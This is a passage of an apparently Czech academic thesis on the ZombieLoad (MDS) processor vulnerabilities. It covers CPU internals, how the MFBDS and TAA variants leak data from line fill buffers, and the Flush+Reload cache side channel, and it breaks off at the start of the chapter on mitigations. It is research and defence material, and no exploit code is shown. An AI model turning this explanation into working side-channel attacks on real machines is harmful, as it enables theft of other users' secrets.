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Abstrakt

Cilem préace je popsat princip utoku ZombieLoad a jeho provedeni. Teoreticka
¢ast seznamuje Ctendare s nékterymi specifiky modernich procesorii. Nasleduje
analyza samotného dtoku véetné popisu cache postranniho kandlu, ktery je
vyuzivan. Teoretickou ¢ast uzavira kapitola popisujici aplikované zaplaty na
urovni opera¢nich systému a procesoru. V praktické Casti je popsdna sa-
motna realizace péti variant itoku na opera¢nim systému Linux. V popisu
jsou zduraznény prekazky zabranujici tspésnému utoku a jejich feseni. Po-
sledni kapitola analyzuje ispéSnost implementovanych variant a zneuzitelnost
zranitelnosti.

Klicova slova ZombieLoad, Rogue In-Flight Data Load (RIDL), micro-

architectural fill buffer data sampling (MFBDS), TSX asynchronous abort
(TAA), microarchitectural data sampling (MDS), cache postranni kanél
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Abstract

The goal of this thesis is to describe a principle of the ZombieLoad attack
and to perform it. The theoretical part introduces some specifics of modern
processors. After that follows an analysis of the attack which includes a de-
scription of a cache side-channel. The theoretical part concludes with a chap-
ter describing mitigations applied by operating systems and processors. The
practical part describes the implementation of five variants of the attack on
the Linux operating system. The description also includes any obstacles that
can be encountered during an attack attempt and their solutions. The last
chapter analyses the success rate of the implemented variants and abusement
of vulnerabilities.

Keywords ZombieLoad, Rogue In-Flight Data Load (RIDL), microarchi-

tectural fill buffer data sampling (MFBDS), TSX asynchronous abort (TAA),
microarchitectural data sampling (MDS), cache side-channel
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Uvod

Informac¢ni technologie se vyviji bleskovym tempem a naroky na hardware
jsou stale vyssi a vyssi. Vyrobci procesori jsou tak neustale tlaceni k vyrobé
procesortli, které dokazi drzet s dobou krok. Casto pritom narazi na fyzikalni
meze. Vyuzivaji proto kazdé prilezitosti, jak tfeba i nepatrné zlepsit vykon
procesoru. Vznikaji tak technologie jako spekulativni vykonavani instrukei ¢i
vykonavani instrukei mimo pofadi. Vyrobci také implementuji dalsi optima-
lizace, které nejsou primo nikde zdokumentovany. Se slozitymi optimaliza-
cemi mohou snadno vznikat chyby ¢i nedomyslené situace, které mohou byt
utocniky zneuzitelné.

VInu procesorovych zranitelnosti odstartovaly chyby Meltdown a Spectre.
Tyto chyby zneuzivajici spekulativniho provadéni instrukci ukazaly, Ze na
prvni pohled nevinné optimalizace mohou ziroven byt slabym mistem pro-
cesoru. Od té doby se objevily desitky dalsich variant zranitelnosti. S kazdou
softwarovou i hardwarovou zaplatou vyplouvaji na povrch dalsi dtoky, které
zaplaty obchézi nebo zneuzivaji jinych ¢asti procesoru. To je i pripad Microar-
chitectural Data Sampling (MDS) zranitelnosti, které oteviraji nové moznosti
pro utocniky. Sem patii i atok ZombieLoad, hlavni téma této prace.

V piipadé objeveni nové procesorové zranitelnosti je obvykle vyrobce (v tomto
pripadé Intel) informovan a na zdkladé toho si vyzada na ur¢itou dobu in-
formac¢ni embargo. Béhem této doby mohou zranitelnost nezavisle na sobé ob-
jevit dalsi lidé. To se stalo v pripadé utoku ZombieLoad, diky ¢emuz vznikly
dva nezavislé dokumenty, ZombieLoad [1] a RIDL[2], popisujici stejné! zrani-
telnosti. Intel navic také vydal své stanovisko zahrnujici struc¢ny popis principu
zranitelnosti a predevsim provedené opravy a pripadné dalsi doporuceni, jak
utok znemoznit. Vznikly tak t¥i primarni zdroje informaci, které na celou situ-

1V dokumentu RIDL jsou uvedeny nékteré dalsi zranitelnosti, které ZombieLoad nepo-
pisuje.



Uvob

aci nahlizi pokazdé trochu jinym zptisobem — predevsim co se tyce zdvaznosti
zranitelnosti. Tato prace si klade za cil tyto informace sjednotit a posoudit
zneuzitelnost zranitelnosti po aplikaci vSech bézné dostupnych zaplat.

Prvni kapitola Specifika modernich procesort uvadi c¢tenare do proble-
matiky modernich pocitacovych architektur. Jsou zde vysvétleny techniky
jako spekulativni vykondvani instrukci, virtualni adresace paméti ¢i vyuzivani
pamétfové hierarchie. Znalost téchto technik je nutnd pro spravné pochopeni
principu samotného ttoku.

Druhé kapitola Princip Gtoku nejprve zranitelnosti klasifikuje a porovnava
je s diive objevenymi rodinami ttok Meltdown a Spectre. Nasleduje po-
pis jednotlivych zranitelnosti spolecné s metodou Flush+Reload, diky které je
mozné efekt popisovanych chyb pozorovat na architekturalni trovni.

Treti kapitola Opravy a zaplaty uvadi postup pro ovéreni, zda je dany
procesor vuci utoku zranitelny. Déle jsou rozebrana vSechna dosud aplikovana
opatfeni pro zmirnéni zranitelnosti. Spole¢né s opatienimi jsou uvedena i jejich
slabd mista.

Ve ¢tvrté kapitole Realizace itoku ZombieLoad dochéazi k samotné imple-
mentaci ttoku. Konkrétni podoba kdédu je dikladné vysvétlena. Duraz je pii
tom kladen na mozné prekéazky, které mohou ovlivnit tspésnost exploitu.

Pata kapitola Analyza vysledkii porovnava dosazené vysledky s predpoklady.
Na zékladé téchto vysledki je posouzena zavaznost zranitelnosti predevsim
z pohledu zcela aktualizovaného systému.



KAPITOLA

Specifika modernich procesorti

Moderni procesory vyuzivaji nékolik dulezitych technik pro zvySeni vykonu.

1.1 Vykonavani mimo poradi

Procesorové instrukce jsou v programovém potadi nejprve dekédovany ze
slozitéjsich CISC instrukei na jednodussi ,, RISC-like* mikroinstrukce [3]. Mezi
jednotlivymi mikroinstrukcemi jsou nasledné detekovany datové zévislosti. Mi-
kroinstrukce jsou pak pripravené, aby byly zpracovany vykondvajicimi jednot-
kami (execution units). Vykonavajici jednotky jsou specializované napriklad
na jednoduché ALU operace, operace s desetinnymi ¢isly, skoky, vektorové
operace nebo nac¢itani z paméti a ukladani do pameéti.

Aby se zvysila propustnost instrukei, jsou provadéné mimo poradi podle toho,
jak jsou dané vykonavajici jednotky vytizené a jak jsou pripraveny operandy
téchto instrukci. Je ale potfeba zarucit spravny architekturdlni stav — tedy
dodrzet, ze ke zméndm v architekturdlnich registrech bude dochazet, jako by
procesor provadeél instrukce v programovém poradi. To zarucuje reorder buf-
fer, ktery zejména slouzi k poznamenéni spravného programového poradi vy-
konavanych instrukci. Také dochazi k prejmenovani architekturdlnich registra
na registry fyzické. K tomu tcelu slouzi Register Alias Table (RAT). AZ poté
je mozné predat instrukce dal, do fronty pro vykonavajici jednotky. Jakmile
je instrukce vykonand, je jejl stav zménén v reorder bufferu. Odtud jsou vy-
konané instrukce odebirdny v plvodnim programovém poradi, pricemz jsou
zaroven prepisovany architekturdlni registry podle hodnot z odpovidajicich
fyzickych registri (na zékladé aktudlniho prejmenovani registri dle RAT).
Pokud by méla byt odebrana instrukce, ktera zpusobila vyjimku, procesor za-
hodi vSechny navazujici instrukce [4]. Pokud slo o architekturdlni vyjimku,
spusti se kéd tuto vyjimku osetiujici (exception vector). V pripadé mikroar-
chitekturalni vyjimky zacne provadéni programu od instrukce, ktera selhala.

3



1.

SPECIFIKA MODERNICH PROCESORU
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Obrazek 1.1: Mikroarchitektura Intel Skylake (klient) [5!

1.2 Spekulativni vykonavani instrukci

32B/cycle
To L3

Dalsich technika slouzici k zvyseni propustnosti instrukci v procesoru je spe-
kulativni vykonavani ﬂﬁﬂ Pokud procesor zpracovava podminény skok, po-
kusi se pomoci specializovanych prediktort uhadnout, kam a zda vibec bude
skok proveden. Zacnou se tak zpracovavat instrukce, které mohou i nemusi
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1.3. Virtudlni adresace paméti

byt provadény spravné. Takovym instrukcim (a nésledné mikroinstrukeim) je
prifazen stitek (tag), ktery jednoznacéné identifikuje spekulativni vétev provadéni.
V ramci spekulativniho provadéni mohou vznikat dalsi spekulace, takze miize
dochézet k nékolikanasobnému vétveni.

Velmi podobn4 situace nastava i v pripadé, kdy procesor pristupuje do paméti.
Diky provadéni mimo poradi muze snadno dochézet k nespravnému poradi
provedeni load a store operaci. Vznika tak spekulativni vykonavani load in-
strukei [7]. Obecné existuji dalsi pripady (jednd se o ruzné dalsi optimali-
zace), ve kterych jsou instrukce na trovni mikroarchitektury vykonané, ale
z riznych divodi je pak jejich vysledek zahozeny. Takovym instrukcim se
fiké tranzientni instrukce [1]. Prestoze by efekt téchto instrukci nemél byt
z architekturalniho pohledu znatelny, je mozné jej pozorovat typicky pomoci
postranniho kandalu zalozeného na cache paméti.

1.3 Virtualni adresace paméti

7 bezpecnostnich i praktickych divodd neni adresni prostor procest primo
mapovany na fyzickou pamét [8]. Kazdy proces md sviij adresni prostor, do
kterého nemiize standardné jiny nesystémovy proces zasahovat. Do Casti to-
hoto prostoru je mapovan adresni prostor operac¢niho systému, ktery je sdilen
mezi vSemi procesy. Virtualni prostor je rozdélen na stejné velké tseky, kterym
se T{k4 stranky. Stejné je i rozdélena operacni pamét s tim, Ze zde se tyto
useky nazyvaji rdmce a jsou stejné velké jako stranky. Na jeden ramec miize
byt mapovéano vice stranek, ale ne naopak. Takto miize byt pamétovy prostor
operacniho systému mapovan do vsech procesiu a presto fyzicky zabirat misto
pouze jedné kopie [9]. Pfesto se miiZze pomérné snadno operaéni pamét zapl-
nit. Proto se nepouzivané stranky odkladaji na disk. Na bézné pouzivanych
operaénich systémech je ¢ast nebo celd opera¢ni pamét mapovana do adresniho
prostoru jadra OS. Zjednoduseny model je znazornény na obrizku

Procesy pouzivaji pti pristupu do paméti virtudlni adresu. Tu je treba pfi
provadéni load nebo store operace prelozit na fyzickou. O to se stard memory
management unit (MMU), kterd dokaze pro kazdy proces provést preklad ad-
resy, pokud je dané stranka ulozena v opera¢ni paméti. Pokud MMU nedokaze
virtualni adresu prelozit, dojde k vyvolani vyjimky, kterou zpracuje operaéni
systém. Této situaci se fika page fault. K netdspésnému prelozeni muze dojit
ze dvou diavodu. Virtualni adresa procesu nemusi byt opera¢nim systémem
viibec mapovéna (proces pristupuje na adresu, kterd mu nebyla pfi spusténi
ani za béhu alokovéna). V tom pripadé je proces typicky ukonéen signdlem
segmentation fault. Ve druhém pripadé je virtudlni adresa procesu mapovand
na stranku, ktera je odlozena na disku. OS v tom pfipadé nacte pozadovanou
stranku z disku a pripadné odlozi jinou.
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Virtualni adresni prostor procesu

0x0000000000000000

user

O0x00007f£££££EEEEE

Stranky

0x££££800000000000

Odlozené

kernel
! stranky

/ Fyzicka pamét

Obréazek 1.2: 64-bitovy adresni prostor na OS Linux

0x££££888000000000

(3333333333333 3

Aby MMU dokézala provadét preklad, potfebuje k tomu tabulku s informa-
cemi o mapovani dané virtudlni adresy na fyzickou. Tato tabulka se nazyva
tabulka stranek (page table) a je pro kazdy proces jind. Pokud by se pro kazdy
proces pouzivala jedna velkéd tabulka, nastal by problém s ukladanim takové
tabulky, jelikoz by se nemusela vejit do jedné stranky. I proto se vyuziva
vicedroviového strankovani, kdy je adresa stranky rozdélena a jednotlivé po-
dadresy slouzi jako indexy do tabulky dané trovné. Vsechny tabulky kromé
tabulek nejnizsi drovné pak odkazuji (pomoci virtudlni adresy) na tabulku
nizstho fadu. V tabulce nejnizsiho fadu je konecné ulozen preklad virtudlni
adresy na fyzickou.

1.3.1 Address space layout randomization

Diky jasné danému rozlozeni adresniho prostoru casto dochazelo k utoktm
vyuzivajicim toho, ze konkrétni funkce ¢i data byly pii vice spusténich pro-
cesu stale umisténé na stejné adrese. Vznikla proto technologie Address Space
Layout Randomization (ASLR), kterd umoziiuje adresni prostor pri kazdém
spusténi mapovat na jiné adresy. Tim se adresa konkrétni funkce ¢i dat stala
obtizné predpovidatelnd. Analogicky je mozné randomizovat i adresni prostor
jadra OS, v takovém pripadé se jedna o Kernel Address Space Layout Rando-
mization (KASLR).

1.3.2 Page table isolation

S objevenim zranitelnosti Meltdown se mapovani kernelu do adresniho pro-
storu kazdého procesu ukazalo jako slabé misto. Doslo proto k rozdéleni ta-
bulky stranek [10]. Dfive pouzivand tabulka se zdznamy o prekladu vSech
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stranek (uzivatelskych i kernelovych) byla zpfistupnéna pouze v kernel médu
a pro béh v neprivilegovaném rezimu byla vytvorend nova tabulka s ma-
povanim uzivatelskych stranek a nutnym minimem stranek systémovych. Toto
opatfeni bylo pojmenovdano Kernel Page Table Isolation (KPTI, pfipadné
pouze PTI).

1.4 Cache pamét

Pamétové operace velmi zpomaluji béh procesoru. Aby se minimalizoval jejich
dopad na rychlost, vyuziva se viceliroviiova hierarchie pameéti. Mezi proceso-
rovym jadrem a opera¢ni paméti se nachazi nékolik trovni mnohonasobné
krat rychlej$i paméti. Tato pamét se nazyva cache a slouzi jako vyrovnavaci
pamét [11].

Fyzick4 adresa
] tag set data offset

Cache line / cache blok =

- N
( N

\& Cesta W - 1 Cesta 0

IS 1 A - 7 ; - -
seto { | tag data  «— = <« tag data

SetS -1 { tag data «—— = <«— tfag data

Obrézek 1.3: Cache pamét

Cache je asociativni pamét, coZ znamen4, Ze jeji obsah je adresovatelny klicem,
v tomto piipadé fyzickou adresou. JelikoZ je cache pamét mnohem mensi neZ
operacni pamét, neadresuje se celou adresou, ale pouze nékolika bity. Casti
cache, ke které se pristupuje stejnymi adresami, se rika set. Data nejsou v se-
tech ukladana po bytech, ale po vétsich tsecich, které se nazyvaji cache bloky
nebo také cache line?. Aby se nestévalo, Ze se data v cache line budou ne-
ustéle stifidat v diisledku prace se dvéma pamétovymi oblastmi, které maji
cast adresy shodnou, obsahuji cache sety nékolik cache lines. Kazda cache line
v ramci setu patii do jiné cesty a poctem cest se pak urcuje stupen asociati-
vity. RozloZzeni cache paméti je zndzornéno na obrazku [I.3] Situace, kdy pii
pristupu na néjakou adresu jsou data dostupna v cache, se oznacuje jako cache
hit. Opacnému stavu, kdy data v cache dostupnd nejsou, se rika cache miss.

2Vétsinou je jako cache line oznacovano misto, na které se data ukladaji. Casto se tak
ale oznacuji i data, kterd by na toto misto byla ulozena.



1. SPECIFIKA MODERNICH PROCESORU

Situaci, kdy jsou z cache line vyprazdnéna data (nezdvisle na duvodu), se fika
cache line eviction.

~ 60 ps (SSD)
~1ns ~15ns ~12 ms (HDD)
. datov? :,32 KiE /jé_qro 2 MiB / jadro 1182
instrukéni 32 KiB / jadro :
r—’ﬁ (_J—l r = )
/ \ 900000
L1D cache—
CPU L2 cache ——
L1l cache —
L3 cache
L1D cache—
CPU L2 cache seeeee
L1l cache — Lk
\ / - 000000
| C— - | CH—
180 béznych registrd 256 KiB / jadro 2-128GB
168 vektorovych registrii
~ 400 ps ~7ns ~75ns

Obréazek 1.4: Pamétova hierarchie mikroarchitektury Intel Skylake s typickymi
velikostmi paméti a Casy pristupu

Kazdé procesorové jadro mé svoji L1 (level 1) cache, kterd je rozdélena na
instrukéni a datovou pamét. O néco vétsi je L2 cache pamét, u které je doba
pristupu uz o néco delsi oproti L1 cache. L2 cache ma také kazdé jadro vlastni,
ale uz se nedéli na ¢ast instrukéni a datovou. Dalsi stupné cache hierarchie
uz typicky byvaji sdilené vSemi jadry procesori a s rostouci trovni se jejich
velikost zvétsuje na tkor ptristupového casu. Jednotlivé c¢asy pristupu spolecné
s typickymi velikostmi jsou zndzornéné na obrazku[I.4l Cache posledni trovné
se oznacuje jako LLC (last level cache). Procesor diky této cache hierarchii
nemusi pokazdé pristupovat k pomalé opera¢ni pameéti.

Procesor umi pracovat s nékolika druhy paméti (resp. strategiemi zépisu do
paméti), od kterych se odviji i tloha cache paméti. O jaky druh paméti se
jednd, je zapsdno v Page Attribute Table (PAT). PAT umoznuje nastavit
dany atribut s granularitou velikosti stranky/ramce. Nejobvyklejsi je write-
back (WB) pamét. V pifpadé cache miss jsou data nactena do cache line.
Nasledné procesor pracuje pouze s cache paméti v pripadé load i store in-
strukci. Cache line si drzi priznak o tom, zda byla data modifikovana. V mo-
menté, kdy cache line byla modifikovdna a mélo by dojit k jejimu vyprazdnéni,
se zmény zapisi do operacni paméti.
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Write-protect (WP) pamét se chovd podobné, pouze s tim omezenim, Ze zapisy
se zapisuji pfimo na systémovou sbérnici (ne do cache paméti) a zaroven zne-
platnuji odpovidajici cache lines vSech ostatnich jader.

Dals{ moznosti je write-through (WT) pamét. Ta funguje obdobné jako WB,
pouze v pripadé kazdého zapisu se data paralelné zapisi do cache paméti
i opera¢ni paméti. V pripadé prepsani cache line jinymi daty se puvodni data
mohou jednoduse zahodit.

Dalsim druhem paméti je write-combine (WC) [12]. Zapisy do tohoto druhu
paméti neprochazi skrz cache, ale pres specialni write-combine buffery. Data
se v téchto bufferech slucuji a nasledné odesilaji po vétsich ¢astech (blocich).
Zapisy z WC bufferii nerespektuji koherenéni protokoly pouzivané mezi proce-
sorovymi jadry ani poradi zapist v ramci daného bloku. Také neni zaruceno,
ze load operace nasledujici po zdpisu uvidi modifikovana data. Procesor miize
vynutit odeslani dat z WC bufferti z riznych divodi. Jednim z nich je ¢teni
z adresy, na kterou odkazuji data, ktera se nachazeji ve WC bufferu. Pri ¢teni
dat z WC paméti se vzdy pristupuje do operacni paméti, az na jednu vyjimku
(uvedenou v nésledujicim odstavci).

Intel ve svych rozsifenich instrukéni sady predstavil load a store instrukce,
které se oznacuji jako non-temporal [13]. Mély by byt pouzivany jako optima-
lizace v situacich, kdy se predpoklada, ze data nebudou delsi dobu potieba
anem4 je tedy smysl umistovat do cache. Non-temporal store operace, umoziiuji
vynutit chovani WC zapisti i u WB a WT typli paméti. Non-temporal load
operace umoznuji provadét ¢teni z WC paméti, aniz by doslo k vynuceni
vyprazdnéni WC bufferu. Pokud se béhem non-temporal ¢teni nachazi data ve
WC bufferu, pouziji se hodnoty primo z néj, jinak se do tohoto bufferu nactou
data z operacni paméti.

Poslednim pamé&tovym druhem je uncacheable (UC) pamét. Od WC paméti se
1is{ zejména tim, Ze zépisy probihaji jednotlivé (nebufferuji se) a pamétové in-
strukce se z architekturalniho pohledu provadi v programovém poradi (stejné
jako u vSech ostatnich typu paméti vyjma WC).

1.5 Intel Hyper-Threading

Vétsina modernich procesort je slozena z vice samostatnych jader, kterd spolu
sdili operacni pamét. Aby se zvysil celkovy vykon, duplikuji se nékteré kri-
tické komponenty procesorového jadra tak, ze je na ném mozné vétsinu casu
provadét dva instrukéni proudy najednou [14]. Duplikované jadro disponuje
vlastnim souborem registri, diky kterému si muze udrzovat architekturalni
stav nezavisle na sourozeneckém jadre. OS poté misto jednoho jadra vidi dvé
logické. Tato technologie se na procesorech Intel nazyva Hyper-Threading.
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Tabulka 1.1: Vyznam stavové hodnoty zruseni TSX transakce

Bit registru

Vyznam
eax

Zruseni bylo vyvolano instrukci xabort.

Transakce muze uspét, pokud bude znovu provadéna.

Doslo ke konfliktu na trovni read-setu nebo write-setu.

Doslo k preteceni vnitiniho TSX bufferu.

Béhem transakce bylo provadéni zastaveno na breakpointu.

Doslo k zruseni zanotfené transakce.
23:6 Rezervovano.
31:24 Argument instrukce xabort (pokud je bit 0 nastaveny).

Wk |lwi o

1.6 Intel Transactional Synchronization Extensions

Intel Transactional Synchronization Extensions (TSX) je rozsireni instrukéni
sady procesoru Intel, které umoznuje oznacit sérii instrukei jako RTM (rest-
ricted transactional memory) region [15]. TSX transakce zarucuje, ze se bud
provedou vSechny instrukce v ramci dané transakce, nebo zddna. V ramci
transakce si procesor udrzuje seznam cache lines, ze kterych ¢te (read-set),
a seznam cache lines, na které zapisuje (write-set). Pokud béhem transakce
jiné logické jadro ¢te data z cache line, kterd patii do write setu, nebo zapisuje
do cache line patrici do alespon jednoho ze setti, dojde ke konfliktu a transakce
se zrusi. Pro zrusSeni transakce existuji dalsi divody. Muze jimi byt napiiklad
provadéni nepovolené instrukce, zaplnéni TSX bufferu nebo vyvolané proce-
sorové preruseni. Zruseni muze byt obecné vyvolané synchronni udalosti nebo
asynchronni [16]. V piipadé tspésné transakce se viechny pamétové operace
viuci ostatnim logickym jadrim provedou najednou — atomicky.

TSX rozsiteni RTM pridava nékolik novych instrukei. Instrukce xbegin oznacuje
pocatek transakce. Jako argument ptijima adresu, od které ma vykonédvani po-
kracovat v pripadé, ze dojde ke zruseni transakce. Instrukci xend se transakce
ukoncuje. Zda se procesor nachazi uvniti transakce je mozné ovérit instrukei
xtest. Posledni instrukci je xabort, kterd umoznuje zrusit transakci s danou
stavovou hodnotou. V pripadé zruseni transakce se stav zapise do registru eax.
Vyznam konkrétnich hodnot popisuje tabulka

1.7 Intel microcode

Mikrokéd v modernich procesorech slouzi jako firmware, ktery je mozné aktu-
alizovat bez nutnosti aktualizace BIOSu [17]. Umoznuje efektivné opravovat
chyby v procesorech nebo pomahat v pripadé slozitych mikroarchitekturalnich
stavil. Mikrokéd dokaze zménit chovani instrukce za i¢elem opraveni chyby,
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modifikovat operandy v nékterych pripadech floating point operaci nebo asis-
tovat v pfipadé komplikovanych load a store instrukei [1, [13].
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KAPITOLA 2

Princip utoku

Pod nazvem ZombieLoad se ve skutecnosti skryva nékolik zranitelnosti. Obecné
tyto zranitelnosti patii do kategorie MDS (Microarchitectural Data Sam-
pling) [|18]. Jedna se o skupinu utoku postrannim kandlem zneuzivajici spe-
kulativniho vykonavani instrukei procesorem. Od jiz diive zvefejnénych zra-
nitelnosti Meltdown, Spectre a Foreshadow se liSi zejména tim, Ze ziskand
data nejsou spjata s konkrétni adresou, nybrz casem, ve kterém byla ziskana.
Je proto dilezité pouzit vhodny post-processing nad uniklymi daty, aby bylo
mozné ziskat néjaké uzitecné informace. Prestoze toto zni jako silné omezeni,
ve skutec¢nosti jsou tyto utoky silnéjsi nez jiz zminéné Meltdown, Spectre a je-
jich varianty v tom, ze dovoluji ,,¢ist* libovolna data, kterd jsou procesorem
zpracovavana. U utoku Meltdown a Spectre jsou vétsinou pomérné prisné
naroky na adresy, ze kterych mohou data unikat. Ukazuje se navic, ze nové
procesory s hardwarovymi zaplatami proti Meltdown a Spectre jsou zranitelné
vici nékterym variantdm MDS ttoka [1}, 2].

2.1 Microarchitectural Fill Buffer Data Sampling

V pripadé zranitelnosti MEBDS (CVE-2018-12130) data unikaji ze struktury
procesoru nazyvané line fill buffer (LFB). Jednd se o mikroarchitekturalni
strukturu, kterd slouzi jako prostfednik mezi L1 datovou cache a vysSimi
trovnémi pamétové hierarchie. KaZdé procesorové jadro mé tedy sviij LFB,
hyperthready LFB sdileji. LFB dok4Ze najednou zpracovavat az 10 polozek? [15],
které mohou slouzit k riznym ucelim. Velikost jedné polozky je shodna s ve-
likosti cache line [1]. LFB se vyuzivé jako buffer v pfipadé non-temporal store
operaci |1, 2, [15]. Fill buffer zprosttedkovavéd piistupy do paméti, kterd je
oznacend jako UC nebo WC [2|. LFB tedy plni ilohu WC bufferu. V pripadé
cache miss L1 datové cache je vyzadano nacteni potiebnych dat pomoci line

3Ve skute¢nosti tym stojici za popisem ZombieLoad experimentalné naméiil 12 polozek
na mikroarchitekturiach Skylake a novéjsich.
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fill bufferu. Takto nactena data mohou byt predana load operacim jesté pred
zapsanim do L1 datové cache [20]. Naopak v pripadé cache hitu L1 datové
cache béhem store operace miize také dojit k vyuziti LFB. Vice load operaci
ze stejné fyzické adresy vyuzije pouze jednu polozku LFB (load squashing).

Jakmile polozka v LFB provede prifazenou operaci, je uvolnéna a je mozné ji
znovu alokovat pro jinou operaci. Data v LFB poloZzce mohou zistat i po jejim
uvolnéni, dokud nejsou prepsdna jinou operaci [20]. V piipadé load operaci,
které vyzaduji microcode assist nebo vedou k page faultu, se spekulativné
mohou pouzit data z LFB polozky (alokované i uvolnéné). Tato data sice
neopusti mikroarchitekturdlni struktury (nebudou vidéna na architekturalni
urovni), ale behem spekulativniho vykondvani je mozné je pomoci vhodnych
instrukei zakédovat do postranniho kandlu vyuzivajiciho cache. Jelikoz LFB
muze spekulativné preposilat data bez ohledu na to, jakému hyperthreadu
nebo procesu patii, lze takto ziskat potencidlné citliva data jinych uzivatelt.
Vzdy ale mohou unikat data procesu, ktery bézi na stejném fyzickém jadre
(tj. na stejném logickém jddie nebo na druhém hyperthreadu).

2.2 Microarchitectural Data Sampling
Uncacheable Memory

Zranitelnost MDSUM (CVE-2019-11091) pouze popisuje fakt, ze data mohou
v MDS 1tocich unikat i z UC paméti.

2.3 TSX Asynchronous Abort

Princip zranitelnosti TAA (CVE-2019-11135) je oproti ostatnim* MDS zra-
nitelnostem trochu jiny. Load operacim, které jsou provaddény béhem asyn-
chronniho ruseni TSX transakce, mohou byt spekulativné predana data jinych
procestu (stejné jako v MFBDS). Data zde unikaji ze vSech bufferti postizenych
MDS (mimo jiné tedy i z line fill bufferu) [16]. Tyto buffery jsou vyznacené na
obrazku Pomoci cache postranniho kanalu je potom mozné tato data na
architekturalni irovni ziskat. Stejné jako v pripadé MFBDS plati, ze tto¢nik
muze pouze ziskat data procesi, které bézi na stejném fyzickém jadre.

2.4 Metoda Flush+Reload

Aby bylo mozné itok na vyse popsané zranitelnosti provést, je potieba prevést
data z mikroarchitekturalnich struktur do architekturalniho souboru registri.
Jelikoz data unikaji za pomoci tranzientnich instrukci, procesor nikdy unikla

4TAA se nékdy nezafazuje k MDS chybam a uvaZuje se jako samostatnd zranitelnost,
prestoze splnuje popis MDS zranitelnosti.
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data do registrii nezapiSe. Avsak procesor neni pii ,, uklizeni* po tranzientnich
instrukcich zcela dasledny. Pokud byly v rdmci spekulativniho provadéni vy-
konany operace, které vedly k nacteni jedné ¢i vice cache lines z operacni
paméti, tyto cache lines jiz nejsou v ramci vraceni zmén po tranzientnich in-
strukcich nahrazeny puvodnimi [21]. Diky tomu, Ze prezenci ¢i absenci dané
cache line je mozné na architekturalni irovni detekovat pomoci méreni ¢asu
pristupu, muze vzniknout postranni kandl zalozeny na cache paméti a dobé
pristupu do paméti.

Metoda Flush+Reload je jednou z nejpouzivanéjsich variant pro ziskani dat
z cache postranniho kanalu. K jejimu provedeni je potieba tolik tisekti paméti
velikosti cache line, kolik maji unikld data moznych hodnot. Tyto tseky, re-
spektive jejich pritomnost éi nepfritomnost v cache hierarchii, slouzi jako in-
dikatory uniklé hodnoty. V pripadé jednoho bytu je tedy potfeba 256 neko-
liznich oc¢islovanych tsekt paméti velikosti cache line.

Pred samotnym ttokem (spekulativnim provadénim) je potFeba vSechny tseky

vyprazdnit z hierarchie cache pameéti. K tomu slouzi instrukce c1flush (pripadé
clflushopt), kterd je v modernich procesorech vétsinou dostupnd a nevyzaduje
privilegovany méd — je mozné ji provést v uzivatelském procesu bez souc¢innosti

kernelu. Déle je proveden samotny skodlivy koéd, jehoz cilem je tranzientné

ziskat citliva data. Nasleduji instrukce, které pomoci hodnoty tranzientné

ziskanych dat pristoupi do jednoho z indika¢nich pamétovych tdsekii. Tento

pristup musi probéhnout v kratké dobé po instrukci, kterd spustila tranzi-

entni vykonavani. Jakmile totiz reorder buffer narazi na instrukci, kterd tran-

zientni vykonavani zpisobila, procesor vyprazdni ze svych struktur provadéné

instrukce. Mohlo by se tak stat, ze indikace v cache paméti nestihne byt pro-

vedena.

V zavislosti na konkrétni varianté skodlivého kédu je po vycisténi tranzi-
entnich instrukei provadén kéd osetiujici vzniklou vyjimku, pripadné pokracuje
vykonavani kédu programu uzivatele v pripadé mikroarchitekturalni vyjimky.
Pokud doslo k architekturdlni vyjimce, je tieba vyjimku odchytit. V obou
pripadech je dilezité co nejdrive provést pristupy do vsech indikacnich tsekiu
paméti a mérit casy pristupu. Typicky je jeden nebo dva pfistupy vyrazné
rychlej$i nez ostatni. Dva paméfové segmenty mohou byt oznaéené v piipadé,
kdy procesor spekulativné pouzil Spatnou hodnotu a po vyprazdnéni pipeline
zacalo provadéni od stejné instrukce, ale s hodnotou spravnou. Cely postup
miize byt libovolné opakovan.
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KAPITOLA 3

Opravy a zaplaty

3.1 Oveéreni zranitelnosti daného procesoru

Od zverejnéni zranitelnosti Meltdown a Spectre Intel uziva stejné metody, jak
uzivatele o zranitelnosti ¢i nezranitelnosti daného procesoru informovat. Slouzi
k tomu model-specific registry (MSR) [13], jejichz chovani je mozné ménit
aktualizovanim mikrokédu. Pro zapis do téchto registrti a ¢teni z nich slouzi
specidlni instrukce rdmsr a wrmsr, které mohou byt vykonany pouze v kernel
modu. Aby bylo mozné oveérit, jaky MSR registr je na CPU dostupny, vyuziva
se instrukce cpuid. Pomoci instrukce cpuid je mozné ziskat riizné informace®
o procesoru v zavislosti na nastavené hodnoté registru eax (a pripadné také
ecx).

Pro signalizaci, Ze procesor ma proti dané chybé aplikované hardwarové zaplaty,
slouzi MSR registr TA32_ARCH_CAPABILTIES. Jeho dostupnost je mozné ovérit
volanim instrukce cpuid s nastavenim hodnot registrii eax = 0x7, ecx = 0.
TA32_ARCH_CAPABILTIES je dostupny, pokud je v registru edx bit 29 nasta-
veny. To je znazornéno v ukdzce kdédu Je zde ovérovana pritomnost
nékterych dalsi vlastnosti procesoru, které budou objasnény v nésledujicich
odstavcich.

3.1.1 Zranitelnost MFBDS

Zranitelnost MFBDS miize byt hardwarové zaplatovana, aniz by byly opra-
veny ostatni MDS zranitelnosti. Je to zptisobeno tim, ze princip MFBDS je

SMimo jiné je mozné ziskat parametry jednotlivych cache paméti nebo informaci o tom,
zda je instrukce clflush dostupna.
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3. OPRAVY A ZAPLATY

velmi podobny difve objevenym chybiam Rogue Data Cache Load%” (RDCL)
a L1 Terminal Fault (L1TF).

Pokud je bit 0 (RDCL_NO) MSR registru IA32_ARCH CAPABILTIES nastaveny,
je hardware opatien opravami proti zranitelnostem RDCL, L1TF a MFBDS.

3.1.2 Ostatni MDS zranitelnosti

MDS zranitelnosti (vyjma TAA) jsou opravené, pokud je bit 5 (MDS_NO) v re-
gistru TA32_ARCH_CAPABILTIES nastaveny. Opravena je v tom piipadé i zrani-
telnost MFBDS nezavisle na hodnoté bitu 0 registru TA32_ARCH_CAPABILTIES.

3.1.3 Zranitelnost TAA

Diky zcela jinému principu musi byt zranitelnost TAA dodateéné hardwarové
zéplatovdna. Zda jsou opravy aplikované, je mozné zjistit z bitu 8 (TAA_NO)
MSR registru TA32_ARCH_CAPABILTIES (hodnota 1 znamena opraveno).

3.2 Aplikace softwarovych zaplat

V pripadé, ze je dany procesor zranitelny, je potieba aplikovat softwarové
